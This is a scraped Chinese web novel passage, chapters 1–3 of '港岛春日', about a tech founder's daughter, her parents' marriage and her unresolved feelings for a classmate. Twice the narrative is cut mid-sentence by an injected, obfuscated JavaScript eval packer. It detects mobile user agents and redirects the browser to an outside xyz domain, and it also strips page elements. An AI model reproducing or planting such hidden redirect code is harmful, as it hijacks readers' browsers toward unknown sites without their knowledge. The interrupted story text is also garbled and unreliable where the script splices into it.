《港岛春日》 1. 第 1 章 “市气象台升级发布暴雨红色预警信号:预计今日午后14时开始,我市将出现强降雨天气,降雨量可达150毫米以上,请广大市民做好防范,非必要……” 手机跳出提醒,方太初还没来得及点进去查看具体消息,窗外大雨就来势汹汹地落了下来,并很快织成一张密不透风的网,将整个天地笼罩其中。 大礼堂内的光线瞬间暗淡了几分,原本嘈杂的人声也因为这突如其来的暴雨静谧了十几秒。 紧接着就是更加令人心烦意乱的交头接耳声。 等待的时间太过漫长,大家的情绪显然已经十分焦灼。 “太初。”旁边的女孩碰了碰她的胳膊。 方太初闻言抬眸,并顺手关掉了蓝牙耳机,“嗯?” “你说。”女孩看了看表,面露忧色,“待会的活动还能准时开始吗?这也就不到十分钟了,我刚看到秘书室葛主任一直在走廊和什么人通着话,表情相当凝重。” 方太初挑了挑眉,笑她:“我的艾琳小姐,既来之则安之,你急什么?煮熟的鸭子它还能飞了不成?” “你说得倒轻松。”艾琳瞪她一眼,“这可是钱!我还指着这笔钱暑假出去玩呢,行程都定得差不多了,这要是被今天的金主放了鸽子,我找谁哭去?” 方太初失笑,“人家那么大一个金主,被你说的好像烟花地买完笑就赖账的混球。” 听她这么一说,艾琳顿时来了精神,眼底都是八卦之色,“哎,你猜猜今天这座无虚席的大礼堂,除了咱们这要登台领奖的三四十个人,剩下那一千来个人都是来干嘛的?” 方太初沉思了几秒,试探地答道:“不是来听讲座的吗?咱们学校每次举办‘名家讲堂’活动,大家不都这么踊跃吗?” “天真!”艾琳戳了戳她的脸颊,“跟你说,这次这一千人里面啊,估计得有大半都不是我们学校的学生。” “这帮人疯了?尤其今天还这么大雨?”方太初表示不理解。 “你懂什么!人家是来一睹今天这位大佬芳容的好不?” 方太初始料未及,不禁眯着眸子瞧了眼大屏幕上大佬的照片,但可能是她眼拙,她看了半天,也没看出他有什么特别来。 那帮成功人士对外形象宣传不都那样吗?将头发梳成大人该有的模样,再穿上一身帅气西装什么的,无非是有些男人到了一定年龄,就不再有头发可梳,衬衫扣子也扣不上半颗了罢了。 要是从这个角度出发,那他倒也能算个帅哥。 但若一定要从这个角度出发,那这个帅哥的标准是不是也有点太低了? “这……帅吗?” “这还不帅?”艾琳恨铁不成钢,“知道你十六岁就上了大学,在感情上比旁人晚熟一点,但你现在好歹也二十岁了,就算再怎么没谈过恋爱,也该对男人有个基本的概念了吧?” 方太初蹙了蹙眉,没说话。 “我问你。”艾琳诲人不倦,“科技圈那么多位大佬,这一位也算不上最成功的,但为什么偏他最受人喜欢?” 方太初犹疑了一下,随即已经理解了艾琳的逻辑,“因为他帅?” “不不,你这也太肤浅了。”艾琳奇怪地看了她一眼,“你都不觉得战略眼光和科技创新能力才是他最魅力非凡的地方吗?” 方太初呼吸一滞,很有些无语。 艾琳继续说道:“你就说都是干互联网起家的,有几个人能像他这么精准把握市场?就比如他当年斥巨资收购梦游九霄这事儿,一般人谁敢干?他怎么就能知道游戏行业接下来会那么赚钱呢!他又怎么知道他一定能做好呢?你说,他是不是有赌的成分?” “那应该是没有,他不是那样的人。”方太初语气笃定。 “对吧?”艾琳眼神里都是兴奋和热切,“所以啊,今天这个奖学金颁奖大会,说是他支持大学生科技创新和学术研究也没错,但从另一个角度讲,难道不是他亦方科技招揽顶尖人才的最好机会吗?你瞧着吧,待会肯定好多递简历的。” 方太初稍稍心安,下意识地说道:“递简历总好过真的来一睹芳容的吧,不然这好好的活动成什么了。” “所以说你天真。”艾琳笑,“我刚刚话还没说完呢,他受人喜欢当然也和他人长得帅脱不开关系啊,你不觉得他无论身高还是五官都是绝杀吗?” 方太初神色古怪,“可是他老了啊!” “哪里老!人家才四十九岁!正当年好吧?就凭人家这身家,生活中不定多少年轻姑娘生扑呢,也就你嫌弃人家老。” “所以,你也喜欢他?”方太初的眼神逐渐冷下来。 艾琳平时接触的都是温柔明朗、凡事不太计较的她,这一刻不禁心下一凛,下意识澄清道:“我喜欢他做什么!我只喜欢姐弟恋你又不是不知道。” 方太初覆上她的手:“那就好艾琳,你是我最好的朋友,无论谁喜欢他,都拜托最好不要包括你。” 艾琳没太明白她说什么,刚想细问,思绪却被人群中突然爆发的欢呼和喧哗声打乱,她不明所以地转过头去,才发现她们今天谈论的主人公,亦方科技的创始人方协文已经在葛主任的陪同下进了大礼堂。 现场的气氛已经热烈到了极致,所有人都在拍照录视频,她顾不上那么多,赶紧也拿出了手机。 方太初的视线也随之落在了父亲身上。 当然,现场这一千多人除了她和他,以及亦方的工作人员和部分校领导,并没有人知道他们之间的关系。 她不是个喜欢高调的人,更不觉得父亲的成功和光环和自己有什么关系。 在她们这种层级的学校,最不缺的就是高智商的天才,她也是到了这里,才逐渐认识到自己在天赋和自律程度上和别人的差距。 本科四年主修数学辅修法学,已耗尽她全部精力,截至到目前,除了自己和自己的学业,她并不想关注太多外界无用的信息。 可刚刚艾琳的话,还是让她乱了心。 她又仔仔细细看了看父亲。 穿一身黑色西装,远远看去头身比绝佳、五官和身高都无可挑剔,的确算是有点魅力的,父亲。 只是她从没有从一个女性的角度看过他,突然这么一看,还挺陌生的。 他已经和校领导一同落了座,坐在他下首的,正是陪伴他左右将近二十年的亦方公关部总监,肖小雨。 艾琳说她晚熟,事实却截然相反。 她早慧得简直不能再早慧。 小初抿唇叹了口气。 她是个从小被爱包围着长大的孩子,按说应该是无比独立坚韧,积极乐观的,事实上她大多数时候也确实如此——只关注自我,很少被外部环境裹挟。 可没人知道,父母离婚那十年,曾给她性格底色增添了多少不安全感。 以至于有段时间她一直都在担心她那女神一般的妈会被外面那些爱慕者抢走,而现在,她轻笑,境况似乎要反转,她竟然隐隐开始担心她爹了。 这两人什么时候才能让她省点心? 思维正漫无目的的发散着,台上的领导终于讲话完毕,将话筒递给了方协文。 演讲稿不小心从他手中脱落,他还未反应过来,肖小雨就已经弯下腰去,帮他收拾好了一切。 艾琳见状立刻偏过头来,和小初感叹,“哎,这个女的好像每次出席活动都在方总身边,感觉他们好默契啊。” 小初心里有些不快,却未显露,“大概就是老员工吧,用着顺手了。” “我听说,他们这帮有钱男人,好多都喜欢在公司内部下手,为的就是让有能力的女下属死心塌地跟着自己,私生子更是一个接一个的生。我记得这方协文跟原配就一个独生女吧?这么多年他把妻女一直保护得挺好的,从没在媒体上曝过光,也不知道这个大小姐是个什么样的人,将来能不能凭一己之力护住自己和妈妈。” 小初默然。 要不是她足够了解艾琳,她一定会以为她是在故意挑拨。 窗外的雨越下越大,瀑布般倾泻 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但亦方奖学金设立四年,这却是他真真正正第一次亲自来颁奖,无他,只因这个奖项竞争实在太激烈,她也是努力了四年才好容易拿上一次一等奖…… 他说他再不来下次就不定还有没有机会了。 小初咬了咬牙,顺便还想起了她爹说这句话的时候,她妈黄亦玫黄女士差点笑倒在他怀里的画面。 “这就是顶级人夫和人父吧,我的天好有X张力。” 小初正在回忆里神游呢,艾琳一句话就把她拉回了现实。 方协文演讲结束就到了颁奖环节,主持人适时喊了她的名字。 方太初站起身,刚好捕捉到了她爸隔着人群看向她的骄傲神色。 和她一块接受颁奖的一共十三个人,她本想率先站到他身边去以便台下亦方的宣发人员记录下这个历史性的时刻的,却不想还是慢别人好几拍,等她走上领奖台的时候,就剩最边缘一个位置了。 一个成功抢到方协文身边位置的女孩甚至害羞得当众捂起了脸,立刻引发台下一阵大笑。 好多女生在喊,“方总好帅!” “方总腿好长!” 光合影就合了好几轮。 台下帮她拍照的艾琳不管不顾地喊她,“方太初,你也往中间来呀。” 见她不动,她又跑上去去拉她,嘴里跟旁边的人说着:“不好意思。” 动作却比谁都快准狠,三两下就把她塞到了方协文旁边。 方协文赞许地看了艾琳一眼。 小初立刻不动声色地往远离她爸的方向挪了挪。 方协文还当她不好意思,凑过来笑得像个开屏的孔雀,趁乱跟她小声说道:“你看亦方的相机,一会儿我好把照片发给妈妈。” 小初却无可无不可的,表情管理十分到位,嗓子眼却在哼哼,“方总你再跟女学生眉来眼去,我回去就告诉我妈,看她怎么收拾你。” 方协文的笑容瞬间凝在了脸上,表情很是难以置信,“小崽子你疯了?什么眉来眼去!” “哼。” 方太初懒得理他。 拍了照就跳下了台。 艾琳倒是兴奋得满眼放光,“哎,方太初,我之前怎么没发现你和方总这么像?而且你俩都姓方!难道他是你小叔?” 小初没好气,“你干嘛不索性猜他是我爸!” “他看着这么年轻,哪里像你爸!” 小初嘁了一声,“但我比他好看多了吧?” “好看是肯定比他好看……”艾琳神色逐渐认真,“但就是说不上哪里很像。” 小初不想就这个话题继续聊下去,赶紧转移话题,“一会儿你上台领奖,我也帮你拍。” 艾琳马上忘了刚才要说什么:“OKOK,记得拍好看一点啊,回头我要当屏保!” “……”小初无语。 我把你当闺蜜,你却在幻想我爸? 这对吗? 啊? 2. 第 2 章 活动结束,小初就收到了肖小雨发来的消息,说是方协文已经安排了司机载她回家,让她好了跟她说一声。 小初烦闷地蹙了蹙眉,若是遵从她的本心,她一定会非常不客气地回一句,“我爸呢,他是不记得他闺女的微信号吗,还要劳烦您从中转达。” 但她的教养和情商都不允许她这么做,而且作为她爸唯一、就算不唯一也必须唯一的接班人,她绝不能轻易得罪亦方的任何一个元老级人物。 所以,她只能尽量让自己的语气看上去温驯一些,“辛苦你了小雨阿姨,不过,我不太想学校的人看见我上亦方的车子,不然回头不定要传出什么流言来,我还想再自由两年呢。” 肖小雨很快就回了过来,“方总知道,所以安排的就是辆普通的车子,也不要你跟我们一起走,你就当自己打的网约车呗,今天雨这么大,你自己回家我们都不放心。” ——我们。 这两个字让小初眼皮一跳,但她还是回了句,“好。” 肖小雨又说:“方总让你先回去陪妈妈,他这边还有点别的事需要处理。” 小初这才想起来,他们之前约好了今天要一起回家吃饭的。 “那就麻烦小雨阿姨跟我爸说早点回家,免得我妈妈会一直等。” 说完又补了句,“小雨阿姨也是,雨很大,回去晚了乐昭叔叔该担心了。” 后面还附了一个可爱的表情。 肖小雨果然很受用,说:“小初长大了。” 小初没再回。 艾琳碰了碰她的胳膊,示意她看向窗外礼堂门口,“好大的阵仗,好帅啊。” 小初顺着她的视线看过去,刚好看见方协文在和校领导们告别,平时不苟言笑的葛主任态度极为热络,笑得像朵花。 外面的雨势丝毫不见停歇的趋势,方协文的助理亦步亦趋地跟在他身边帮忙打着伞,人高马大的两个保镖即使天色这么暗仍然坚持戴着墨镜,看着极为不好惹。 其余的亦方工作人员更是无一例外全部穿的正装,浮夸得要死。 一会儿的功夫,一行人就呼啦啦上了几辆车,消失在了雨幕中。 小初嘴角一抽,继而又无比庆幸自己大学这几年的行事低调,要是像她爸这样到哪都前呼后拥,时刻被人以异样的目光关注着,她绝对会疯。 她爸越红,她越危险。 她的骄傲和自尊不允许自己遭受那样的对待。 虽然她爸妈从小就教育她,只专注自己,不要太在外界的目光,永远不要陷入自证。 可她做不到,即便他们已经如此宽松待她也做不到。 她想,她的倔强大概在她还是个小小的受精卵时,就已经深植在她的基因里了,从此无可撼动。 否则,作为一个躺平三辈子也饿不死的富二代,她何必非考什么少年班,读什么数学,明明国外随便读读艺术或哲学就好了啊。 就连她舅舅都说她,可以,但没必要。 她只能说他们都不懂她。 和艾琳告别,小初就从善如流上了家里司机的车。 雨依旧很大,刚出校门口,他们就遇上了积水路段,还好司机的驾驶技术比较成熟,即便水深已经超过25厘米,最后还是安全通过。 从四岁跟着离婚的母亲离开上海回到北京,她就已习惯了奔波。 从最开始姥姥姥爷家的清华家属楼到方协文在北京置办的第一套大平层,到她高中住了三年的某高知聚集的高档社区,再到如今东四环毗邻朝阳公园的富人圈独栋别墅,不用任何人的特别说明,她也看得出亦方科技的光景是每况愈上的。 回到家,黄亦玫正在厨房和佣人交流怎么煮一锅更软烂入味的牛肉汤。 小初不敢相信那个拿着汤勺的女人就是她的母亲,在她的印象或者是执念中,她的手,只能是拿画笔的,签合同的,握香槟的,甚至开飞机的,拿什么汤勺呢。 她没有注意到此刻她的身影,依旧和佣人兴致盎然地讨论着,“你是说,这个牛肉切好后要先冷水浸泡去除血水?” 佣人点头,“不过太太不用担心,血水我已经处理过了。” 她的脸上立刻浮现出满意的微笑来,“太好了,所以我们现在冷水下锅就好,对吗?” 佣人说是。 黄亦玫一边学她的样子下锅一边自言自语,“小初和她爸爸都喜欢这个汤,但愿我这次能成功。” “肯定能成功的太太。” 黄亦玫眨眨眼,即使在四十八岁的年纪也看上去那么清爽和俏皮,“你说的哦。” 小初用目光轻轻打量着母亲。 从她盈白无暇的一张脸,到她柔顺的弯弯长发,到她身上充满生命力的绿色长裙,再到她依旧纤细的腰肢和曼妙的身体曲线。 最后她忍不住叹口气,还好,尽管到了这个年纪,黄小姐仍是她记忆中那个美丽的仙女,无论是与方协文有二十年工作默契的肖小雨,还是大礼堂里那些青春朝气的女学生,都不能与之相比。 她不是希望母亲非得靠天赐的容貌去争取什么,她只是觉得,父亲若真的像他们说的那样拥有不止一个隐藏在角落里的女朋友,对这样的黄小姐是一种侮辱。 她可以允许自己受委屈,却绝不能容忍母亲被侮辱。 “小初?”黄亦玫终于发现了她,“你什么时候回来的?” “刚进门。”小初笑,“你在忙什么?” “跟阿姨学做牛肉汤。”黄亦玫过来帮小初把卫衣的帽子摘下来,“怎么,外面雨还是很大吗?” “还行。” 小初顿了顿,还是说道:“妈,这些事不必你亲自做的。” “我今天刚好有空嘛。” “可你的手是拿画笔的。” “傻瓜。”黄亦玫大笑,“谁跟你说拿画笔的快乐就一定比给自己爱的人炖一锅牛肉汤更高级?” 小初不想跟一个哲学家辩论,于是没吭声。 黄亦玫又说:“对了,今天的奖学金颁奖典礼怎么样?我看到你爸发过来的照片了,方同学,你太让我们骄傲了!怎么样,整整五万块的奖学金呢,你打算怎么花?” 小初轻笑一声:“五万块而已,大概够去趟马尔代夫?” 黄亦玫沉吟:“马尔代夫也挺好的,这段时间你准备法考也挺辛苦的,去放松一下也不错。” “为了我这五万块我爸这四年付出了快两千万,你们不觉得亏?” 黄亦玫捏了捏她的脸,表情看着有些无奈:“谁教你这么算账的?” 小初不语。 黄亦玫看了看窗外,神情有些担忧:“今天是暴雨红色预警是吧?也不知道你爸几点能到家,可千万别碰上积水路段。” “我回来的时候还好,应该不会。” “嗯。” 小初本打算什么都不说的,可还是没忍住,“小雨阿姨今天也来了。” “是吗?”黄亦玫似乎根本没体会到她的深层含义,“今年北京的天气是有些反常,我猜着还不如上海的夏天舒服呢,也不知道你小雨阿姨能不能适应。” 小初为母亲的善良和大度所折服。 想了想又说道:“你都不知道今天我们大礼堂那些女生对方先生有多热情,一直喊方总好帅呢。” 这下黄女士似是终于有些意外:“是吗?你们零零后竟然还能喜欢他这一款呢?怎么样,方总得意坏了吧?” 小初是真不知道该说些什么了,或许,每个人都有自己的处世智慧吧。 隔了差不多有半分钟,她才说道:“妈,我先下楼跑步去了啊。” “好,等你锻炼完,你爸估计也差不多回来了。”黄亦玫看了看表,眼角都是幸福,“等你们开饭。” 小初点点头,烦闷地走向了自家的健身房。 黄女士果然料事如神,等她四十分钟后再上楼的时候,刚好碰见面色疲惫的方协文在换鞋。 小初眼尖,迅速捕捉到他的黑色袜子上的一处破洞。 原来,无论在外面多么光鲜亮丽的大人物,私下也就那样。 “妈妈呢?”他问。 “不知道,大概在厨房吧。” 方协文关上鞋柜门,又不动声色地看了她一眼,似有些嫌弃,“你这穿的都什么啊?” 小初低头看了下自己身上的宽大的卫衣和卫裤,心底的火一下就被点燃了,“方总,我们年轻人现在都是怎么舒服怎么来,你看不惯,只能说你老了。” 方协文的呼吸一滞。 小初冷哼。 两人谁也没再理谁,都径直走向客厅。 然后才发现黄亦玫并没在厨房,而是在沙发上睡着了。 她睡着的样子很温柔,海藻一般的头发覆盖了半张脸,另外半张脸在光影中忽明忽暗,即破碎,又动人。 也不知道她梦到了什么,一串水痕竟从她眼角落了下来,越过优越的鼻峰,最后在沙发上形成一泊小小的湖。 小初立刻有种不好的预感,她大概率要倒霉。 然后果然,下一秒,她爹就蹙着眉极其不耐烦地转过头来,目光锐利,“你跟你妈妈胡说什么了?” “……” 小初咬咬唇。 静默。 “是不是说什么眉来眼去的事了?不是我说方太初,你好歹也上的全国Top2的高校,书都读到谁肚子里去了?”方协文的面容极为冷峻,“你明知道你妈最近情绪不稳定,能不能懂点事?” “情绪不稳定,她怎么了?”小初一愣。 方协文也不答她,只温柔地摇了摇黄亦玫的肩膀,像是捧着什么易碎的水晶,“玫瑰?老婆?怎么睡在这了?” 黄亦玫缓缓睁开眼,只稍稍认出方协文的影子就勾起了唇,“老公。”但看上去仍旧很疲惫,“你什么时候到的家?外面雨还在下吗?这段时间看你工作太累了,我特地跟阿姨学做了牛肉汤给你补补。” 一边说,一边挣扎着想要坐起来。 却被方协文抱住,抹了抹她的眼角,“我不累。都说了,你不用等我的,我这时间不可控你又不是不知道。” “没事,我又不饿。” “都几点了,怎么可能不饿。” 一旁的小初实在看不下去两人的腻歪,只能将视线落在沙发旁的发财树上。 别的不说,他们家的发财树长势还真茂盛,看来,他们不发财都不行。 “走,先吃饭。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄亦玫笑,话锋突然一转,“要不,你也去找个男孩谈谈恋爱吧,这样你业余时间就有事可做了,免得天天惦记我们。” 小初被八零后的精神状态震惊到,半晌都没说话。 她实在没想到,他们竟然能在二十一世纪二十年代,还满脑子纯爱。 真该让他们体会一下被人骗到倾家荡产,家里发财树叶子都被摘走的滋味。 方协文也说:“实在不行你也可以去旅旅游,比如南极什么的。” 听得出来很烦她了。 “旅游可以,谁敢恋爱?”小初有些无语,“现在的人都清醒得很,谈恋爱都是想从对方那里索取点什么的,要么钱,要么情绪价值。这两样我又都不缺,凭什么要去便宜别人。” 黄亦玫说:“简直危言耸听。” “跟你们说你们也不懂。”小初喝了一口酒。 真难喝。 方协文说,“要不,我帮你从我们圈子里挑一个?” “算了吧,你们单位全是卖命的牛马。”小初半开玩笑,“我才不要和那些物质欲望还没被满足的人浪费时间。” 黄亦玫听了瞬间笑出了声。 方协文蹙了蹙眉,感觉当年的自己有被针对到,“有钱的就好?” 小初眨眨眼,“刚想说,有钱但精神匮乏也不行。” “所以你既要物质还要精神。” “错,是要被物质滋养过的富足的精神。”小初顿了顿,“除此之外还有美貌。” “拉倒,你单着吧你。”方协文忽地站起身,拉过黄亦玫的手腕,“走,老婆我们去茶室喝茶。” 小初大笑,挡住她爸妈离开的路线,反客为主:“不行,你们必须给我物色一个合适的!逃避解决不了问题!你们要是不上心,我可就开始琢磨怎么挑拨你们夫妻关系了哦。” 方协文极为无语地瞪了她一眼。 黄亦玫倒还真认真思考了几秒,“行吧,那你明天跟我一块去舟舟学校参加活动吧。” 小初愣了愣。 舟舟,Tina阿姨的老来得子? “妈!你是不是太离谱!舟舟才几岁啊!” 黄亦玫眨眨眼,“你大概还不知道,舟舟和你一个不缺物质、精神富足、长得还很帅的中学同学的妹妹,刚好是同班同学,我和他妈妈很熟。” “很帅的中学同学?我人生里有过这样一个人?”小初一头雾水。 “明天去了你就知道了。” “玫瑰。” 方协文接过话去。 “嗯?” 就在小初竖起耳朵想听听她爸对此有什么高见时…… 他问的竟然是:“你刚刚在沙发上梦见什么了,哭得那么伤心。” “没什么,我梦到丢丢了。” “别想那么多了。”方协文似是心疼极了,也没顾及女儿还在身边,就把老婆紧紧圈进了怀中,并温柔吻了吻她的头发。 小初立刻将视线投向了窗外。 假装自己现在就在南极。 3. 第 3 章 丢丢是家里之前养过的一只猫,她父母爱情的见证者之一,最后死于一场猫瘟。 也是在一个多雨的夏天。 小初至今仍清楚记得它走之前眼睛红肿模糊的可怜样子。 或许是万物皆有灵,临走之前,早已感官衰退的它,竟突然朝着妈妈的方向微弱喵了两声,像是一种正式的告别,随后就离开了这个世界。 这情景实在刺心,黄亦玫几乎没因此而哭到昏厥。 当天傍晚,得到消息的方协文就乘飞机抵达了北京,并陪她们一块埋葬了丢丢。 小初那会儿已经十一岁了,对死亡已经有了自己的理解,不像小时候,还能听信大人的话,吃个蛋糕唱个歌就轻描淡写将那一页翻过去了。 她很难过,又不知道该怎么办,就死死抓着她爸的袖子,说什么也不肯放他回上海。 方协文于是真的留下来陪了她一个星期。 可他总不能一直陪下去,上海还有大堆的工作等着他处理,更何况,他们当时已经离了婚。 等他不得不离开的时候,她心脏上因为丢丢而缺失的那块不仅没有任何愈合的痕迹,反而又牵扯出一块陈年旧伤来。 她这才发现,原来她一直都没有真正接受父母的分开,痛苦是不能被代偿的。 就像咖啡加全糖入口的味道也不会是甜,某些失去是她没办法拿拥有对冲掉的,尽管她拥有的一向比一般人多。 小初不想父母看出她心情不佳,也就没跟着他们一块去茶室喝茶聊天。 外面天色已经大黑,院子里的太阳能灯都亮了起来,映得本就郁郁葱葱的小花园格外朦胧,美如仙境。 她扯了块毯子,在露台和小花园连接处的榻榻米上躺了下来。 雨还没停,但头顶有遮雨的屋檐,倒是淋不着她,反而可以让她静静听听雨。 榻榻米下池塘的锦鲤还以为她是来投喂它们来的,纷纷向她游了过来。 小初被逗笑。 忍不住骂了几句,“你瞧瞧你们一个个都胖得小猪似的了,还惦记着吃呢!” 又拿出手机,找到叶子瑜的联系方式,发消息过去:「暑假返京吗?」 知道他未必会回她,她索性把手机塞回了枕头底下。 他们已经快半年没联系,要不是刚刚黄亦玫提起他时她慌得心脏差点漏了拍子,她还真以为自己已经放下了。 一开始,她也没明白她妈说的人是谁。可她的男同学里,条件不错人长得帅,还有那么小一个妹妹的,除了她爸口中鼎鼎大名的叶子瑜,还有其他选项吗? 认真来讲,她和叶子瑜并不算恋爱过。这么多年,他们的关系始终处在一种微妙的暧昧之中,又从未越界。 连牵手都无。 她不傻,自然看得出他一直很喜欢她,她也不是没给过机会让他表白,甚至不止一次。可每到那个时候,他都会巧妙地转移话题,装作无事发生。 等她失落一阵,好容易打起精神,他便又会来招惹她,眼底的炽热和偏爱丝毫不减。 如此反复,从她十六岁考上大学开始到半年前他单方面和她断联结束。 小初自嘲地冷哼一声,谁能想到众星捧月般的长大的方太初,也能被人如此玩弄在股掌之中。 她拿过一旁的鱼食,恨恨抛进池塘。 众鱼都来抢。 唯有一只不识风情,躲在一片莲叶下面暗中看她,仿佛她喂的是什么毒药似的。 “喂!”小初倏地就坐起了身,伸手就去按那只鱼的脑袋,“你躲什么躲!我有那么可怕吗?你这个傻子,错过我,看谁还对你这么好!” 那鱼被她吓得惊惶,一摆尾就不见了。 小初叹口气。 “干嘛呢方太初,大晚上不睡觉跟鱼吵架?” 背后一不可思议的声音响起。 是方协文。 小初回过头去,发现她爸已经换了家居服,显然是已经准备休息了,却不知什么原因又下楼来了。 被偏爱的自然有恃无恐,她有些不耐烦,“这您就别管了,我就高兴和鱼吵架。” 对,尤其是那只讨人厌的瑜。 方协文似是觉得她头脑有些问题,沉默了好一会儿才又说道:“你给的太多了,鱼都要撑死了,工人白天肯定已经喂过了。” 小初一愣。 是她给的太多了吗? 方协文又说:“快回屋去,别在这又喂鱼又喂蚊子了,等下被咬的满脸包,你妈又要心疼。” 小初真想跟他们这帮腻歪的情侣拼了,却也明白她爸说的很对,于是应声道:“好我知道了方总!您这好容易回趟家,赶紧上楼去陪方太太好不好?” “方太太洗澡去了,暂时不需要人陪。 小初原以为她爸听了她的话就会自顾自上楼去的,不想他却反其道缓缓下了台阶,在她旁边的藤椅上坐了下来,“老爸可以先陪陪你。” 小初说:“儿臣惶恐。” 方协文从她手中拿过鱼食,“我来教你个好办法,让它们乖乖听话。” “什么方法?”小初瞪大眼睛。 “先饿它们三天。” 小初嘴角一抽。 “实在不行就饿一个星期。”方协文点燃桌子上的蚊香,不经意又加了句,“你就不该申请那个什么香港的国际交流项目,你若非把自己变成飞蛾,就别怪人家用火炙烤你。” “爸!”小初倏地抬眸过去,“你都知道?” 方协文冷笑一声,上位者的压迫感忽地随着夜色蔓延开来,“姓叶那小子不就在那边读医吗?好像还是牙科?” 小初坐不住了,骤然起了身,吓得一池锦鲤迅速四散开去,躲到水草丛中和睡莲花下。 “爸,你没事查人家干嘛?他还不是我男朋友呢,你这么快就审查人家具不具备做你女婿的资格是不是太早了点!” 他眯了眯眸子,“还不是男朋友?” “当然!”小初气得呼吸不稳,“我说他怎么突然就不理我了,一定是你做了什么把他吓到了!” “他还敢不理你?” “这是重点?” 方协文说:“我说你怎么这半年跟个炮仗似的随便一点你就爆炸呢,就为了这么个毫无担当的男的?” “我……”小初顿住,“你别污蔑人,我情绪向来稳定好不好?我要真为了个男的就内耗自己,还能给你拿回个一等奖学金?” 方协文这才极淡地一笑,压迫感稍稍散开,“这才有点我和黄亦玫孩子的样子。” 小初口不择言,“早知道给你们做孩子这么辛苦,我就干脆别出生好了。” 方协文瞬间皱起了眉:“胡说什么?我和你妈妈这么爱你,还做错了?你倒是说说你怎么辛苦了?” “要不是为了让她看见我的时候就能对你多一丝温情,我需要这么难为自己非这么努力吗?你知道我这些年有多怕她突然又不要你了吗?” 方协文第一次从孩子口中听到这些,不禁整个人都怔住了,下一秒,就红了眼尾。 “同理,也希望您看见这么优秀的我时多想想我妈这些年培养我的不容易,别因为自己变有钱了,就飘飘然不知今夕何年了。” 方协文眼底氤氲的水汽瞬间就凝成了冰,感动消失得无影无踪。 “你还是多关心关心你自己吧!” “怎么了,俩人又吵什么呢?”黄亦玫洗了澡下来,身上裹着浴袍,发尾还是湿的。 “玫瑰,你头发没吹怎么就出来了?小心着凉,走,回去我帮你吹。”方协文赶紧起了身,帮她挡住风。 “不冷,我还觉得心里燥呢,好想吃冰。” 小初告状:“妈,我爸查我感情生活。” 黄亦玫稍稍偏过头去,斜睨了方协文一眼。 方协文立刻否认:“你知道我没有。” “没有你会对叶子瑜的情况那么了解?” 黄亦玫眼底滑过一丝了然:“所以你真的在跟叶子瑜谈恋爱?” “没有。”小初的声音低不可闻。 “爸爸没查你,叶子瑜的情况是我跟他说的,我和他妈妈连筝偶尔会一块出来喝咖啡。”黄亦玫替方协文解释。 “哦。” 方协文说:“看这意思是她喜欢人家,人家不喜欢她。” “谁说的!”小初要哭了。 “人家要是喜欢你,会半年多都不联系你?我和妈妈也年轻过,你问问她,这么多年我有没有超过半天不联系她?” “你少说两句。”黄亦玫瞪了老公一眼,并温柔摸了摸小初的头发,“别纠结,直接去把答案找出来,然后再做决定。你才二十岁啊方小姐,你的人生才刚刚开始呢,谁喜欢你不喜欢你都不重要,最重要的是,你要百分百绝对喜欢你自己,你要让自己开心起来。” 小初有些想哭,但她忍住了,只垂眸去看池塘里的鱼。 黄亦玫和方协文的视线却都落在了女儿身上,看着她即使如此难过,也难掩的明艳温柔和倔强破碎,不约而同都想起了自己年轻时候的爱人。 她像他们,无论气质还是样貌,所以她不折不扣是个大美人,光是站在那,就同明珠一般让人移不开眼。 却又不那么像,她更像的,永远还是她自己。 作为父母,就算再心疼和不舍,他们也深知很多东西不能完全靠教育去传授,只能靠她自己去经历和体会。 “我们明天要见的就是连筝阿姨吗?” 半晌,小初终于抬起头来,情绪已经平复下来。 “聪明。”黄亦玫笑。 小初点点头,“我先回房间睡了,你和爸爸也早点睡。” 说完,她就转了身。 方协文在后面喊:“这就走了啊方同学?你走了这满院子的蚊子谁喂啊。” 然后就听见黄亦玫没好气说了他一句:“你现在怎么这么贫啊方协文?难怪能和年轻人打成一片啊。” 方协文立刻服软,“老婆我冤枉。” 小初不自觉勾了勾唇。 回到房间,她才敢拿出手机。 叶子瑜竟破天荒回了消息过来:「大概率不回。」 小初咬了咬唇,不想再秉承矜持:「那我九月份到香港时候记得来机场接我。」 说完又补了句:「当然,你也可以试试不来。」 这一次,他回得很快:「我会去。」 和舟舟做同学的叶子璇其实是叶子瑜同父异母的妹妹,连筝并不是他的亲妈。 叶子瑜的抚养权虽然在亲妈于静手里,但他大多时候都跟着连筝生活。他们上中学那会儿,他跟她聊的最多的就是他这个后妈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309749|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言语间都是喜欢和依赖,他亲爸妈他倒是很少提。 但小初从没见过连筝,这还是第一次。 一见面,连筝就过来拥住了小初,喜欢之情溢于言表,“你漂亮我是早有耳闻,但也没人跟我说有这么漂亮啊!” 又转向黄亦玫,“早知道女儿长大成人自己还这么年轻的画面有这么赏心悦目,我也早几年生孩子了。” 黄亦玫嗔她:“你怎么不说你比我多玩了那么多年?” “也是。”连筝大笑,“甘蔗哪有两头甜的,是吧?” 小初赶紧问好。 今天是舟舟和叶子璇学校的开放日,主要是家长和小朋友一起做做亲子运动什么的,Tina阿姨和老公都有事走不开,这差事就落到了黄亦玫头上。 可她和连筝从见面就一直在聊天,最后那些亲子运动差不多都是小初跟两个小朋友完成的,有那么几个瞬间她无比想骂一顿叶子瑜,他都不搭理她了,她竟然还要帮他带他妹妹,简直岂有此理。 话虽如此,叶子璇还是很可爱的,眉清目秀唇红齿白,和她哥哥虽不是一母所生,却有七八分相像,小初不敢多看,生怕自己在连筝面前失了态。 